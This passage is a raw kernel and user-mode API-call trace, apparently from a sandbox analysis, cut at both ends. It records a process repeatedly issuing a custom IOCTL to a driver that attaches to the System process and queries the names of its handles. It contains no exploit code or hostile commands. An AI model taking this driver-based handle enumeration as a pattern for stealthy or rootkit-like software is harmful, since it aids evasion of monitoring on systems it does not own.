nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.321] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.321] PsAcquireProcessExitSynchronization () returned 0x0 [0130.321] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.322] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002145ab0, HandleInformation=0x0) returned 0x0 [0130.322] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.322] PsReleaseProcessExitSynchronization () returned 0x2 [0130.322] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.322] ObQueryNameString (in: Object=0xfffffa8002145ab0, ObjectNameInfo=0xfffffa800245d7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800245d7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0130.322] ObfDereferenceObject (Object=0xfffffa8002145ab0) returned 0x2 [0130.322] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.322] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.322] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.322] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.322] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.322] PsAcquireProcessExitSynchronization () returned 0x0 [0130.322] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.322] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b20, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003536ae0, HandleInformation=0x0) returned 0x0 [0130.322] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.322] PsReleaseProcessExitSynchronization () returned 0x2 [0130.322] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.322] ObQueryNameString (in: Object=0xfffffa8003536ae0, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005000550) returned 0x0 [0130.322] ObfDereferenceObject (Object=0xfffffa8003536ae0) returned 0x2 [0130.322] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.322] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.322] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.322] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.322] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.322] PsAcquireProcessExitSynchronization () returned 0x0 [0130.322] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.322] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b34, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003454ae0, HandleInformation=0x0) returned 0x0 [0130.322] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.323] PsReleaseProcessExitSynchronization () returned 0x2 [0130.323] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.323] ObQueryNameString (in: Object=0xfffffa8003454ae0, ObjectNameInfo=0xfffffa80023fd7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80023fd7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0130.370] ObfDereferenceObject (Object=0xfffffa8003454ae0) returned 0x2 [0130.370] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.370] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.370] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.370] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.370] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.370] PsAcquireProcessExitSynchronization () returned 0x0 [0130.370] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.370] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b38, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003afd2c0, HandleInformation=0x0) returned 0x0 [0130.370] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.370] PsReleaseProcessExitSynchronization () returned 0x2 [0130.370] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.370] ObQueryNameString (in: Object=0xfffffa8003afd2c0, ObjectNameInfo=0xfffffa80020c0044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80020c0044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.370] ObfDereferenceObject (Object=0xfffffa8003afd2c0) returned 0x2 [0130.370] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.370] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.370] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.370] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.370] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.370] PsAcquireProcessExitSynchronization () returned 0x0 [0130.370] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.370] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b40, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80038ed520, HandleInformation=0x0) returned 0x0 [0130.370] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.371] PsReleaseProcessExitSynchronization () returned 0x2 [0130.371] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.371] ObQueryNameString (in: Object=0xfffffa80038ed520, ObjectNameInfo=0xfffffa8001a10044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a10044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.371] ObfDereferenceObject (Object=0xfffffa80038ed520) returned 0x2 [0130.371] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.371] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.371] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.371] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.371] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.371] PsAcquireProcessExitSynchronization () returned 0x0 [0130.371] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.371] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b58, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003286c70, HandleInformation=0x0) returned 0x0 [0130.371] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.371] PsReleaseProcessExitSynchronization () returned 0x2 [0130.371] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.371] ObQueryNameString (in: Object=0xfffffa8003286c70, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.371] ObfDereferenceObject (Object=0xfffffa8003286c70) returned 0x2 [0130.371] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.371] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.371] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.371] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.371] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.371] PsAcquireProcessExitSynchronization () returned 0x0 [0130.372] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.372] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b5c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800263abb0, HandleInformation=0x0) returned 0x0 [0130.372] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.372] PsReleaseProcessExitSynchronization () returned 0x2 [0130.372] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.372] ObQueryNameString (in: Object=0xfffffa800263abb0, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.372] ObfDereferenceObject (Object=0xfffffa800263abb0) returned 0x2 [0130.372] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.372] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.372] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.372] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.372] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.372] PsAcquireProcessExitSynchronization () returned 0x0 [0130.372] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.372] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b60, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80022d0c90, HandleInformation=0x0) returned 0x0 [0130.372] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.372] PsReleaseProcessExitSynchronization () returned 0x2 [0130.372] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.372] ObQueryNameString (in: Object=0xfffffa80022d0c90, ObjectNameInfo=0xfffffa80020e0044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80020e0044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.372] ObfDereferenceObject (Object=0xfffffa80022d0c90) returned 0x2 [0130.372] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.372] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.372] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.372] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.372] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.372] PsAcquireProcessExitSynchronization () returned 0x0 [0130.372] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.372] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b6c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002642460, HandleInformation=0x0) returned 0x0 [0130.372] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.372] PsReleaseProcessExitSynchronization () returned 0x2 [0130.372] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.372] ObQueryNameString (in: Object=0xfffffa8002642460, ObjectNameInfo=0xfffffa8001a02044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a02044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.372] ObfDereferenceObject (Object=0xfffffa8002642460) returned 0x2 [0130.372] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.373] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.373] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.373] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.373] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.373] PsAcquireProcessExitSynchronization () returned 0x0 [0130.373] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.373] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b70, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003b8ec00, HandleInformation=0x0) returned 0x0 [0130.373] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.373] PsReleaseProcessExitSynchronization () returned 0x2 [0130.373] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.373] ObQueryNameString (in: Object=0xfffffa8003b8ec00, ObjectNameInfo=0xfffffa80020cd044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80020cd044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.373] ObfDereferenceObject (Object=0xfffffa8003b8ec00) returned 0x2 [0130.373] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.373] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.373] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.373] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.373] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.373] PsAcquireProcessExitSynchronization () returned 0x0 [0130.373] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.373] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b78, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80034a8a20, HandleInformation=0x0) returned 0x0 [0130.373] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.373] PsReleaseProcessExitSynchronization () returned 0x2 [0130.373] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.373] ObQueryNameString (in: Object=0xfffffa80034a8a20, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.373] ObfDereferenceObject (Object=0xfffffa80034a8a20) returned 0x2 [0130.373] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.373] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.373] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.373] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.373] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.373] PsAcquireProcessExitSynchronization () returned 0x0 [0130.373] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.373] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b88, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800212e050, HandleInformation=0x0) returned 0x0 [0130.373] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.374] PsReleaseProcessExitSynchronization () returned 0x2 [0130.374] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.374] ObQueryNameString (in: Object=0xfffffa800212e050, ObjectNameInfo=0xfffffa8001a03044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a03044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.374] ObfDereferenceObject (Object=0xfffffa800212e050) returned 0x2 [0130.374] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.374] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.374] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.374] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.374] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.374] PsAcquireProcessExitSynchronization () returned 0x0 [0130.374] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.374] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b9c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80031367d0, HandleInformation=0x0) returned 0x0 [0130.374] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.374] PsReleaseProcessExitSynchronization () returned 0x2 [0130.374] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.374] ObQueryNameString (in: Object=0xfffffa80031367d0, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.374] ObfDereferenceObject (Object=0xfffffa80031367d0) returned 0x2 [0130.374] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.374] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.374] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.374] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.374] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.374] PsAcquireProcessExitSynchronization () returned 0x0 [0130.374] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.374] ObReferenceObjectByHandle (in: Handle=0xffffffff80000ba0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800260e630, HandleInformation=0x0) returned 0x0 [0130.374] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.374] PsReleaseProcessExitSynchronization () returned 0x2 [0130.374] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.374] ObQueryNameString (in: Object=0xfffffa800260e630, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.374] ObfDereferenceObject (Object=0xfffffa800260e630) returned 0x2 [0130.374] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.374] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.374] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.374] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.374] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.375] PsAcquireProcessExitSynchronization () returned 0x0 [0130.375] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.375] ObReferenceObjectByHandle (in: Handle=0xffffffff80000ba4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8001eeb420, HandleInformation=0x0) returned 0x0 [0130.375] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.375] PsReleaseProcessExitSynchronization () returned 0x2 [0130.375] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.375] ObQueryNameString (in: Object=0xfffffa8001eeb420, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.375] ObfDereferenceObject (Object=0xfffffa8001eeb420) returned 0x2 [0130.375] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.375] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.375] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.375] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.375] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.375] PsAcquireProcessExitSynchronization () returned 0x0 [0130.375] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.375] ObReferenceObjectByHandle (in: Handle=0xffffffff80000ba8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: 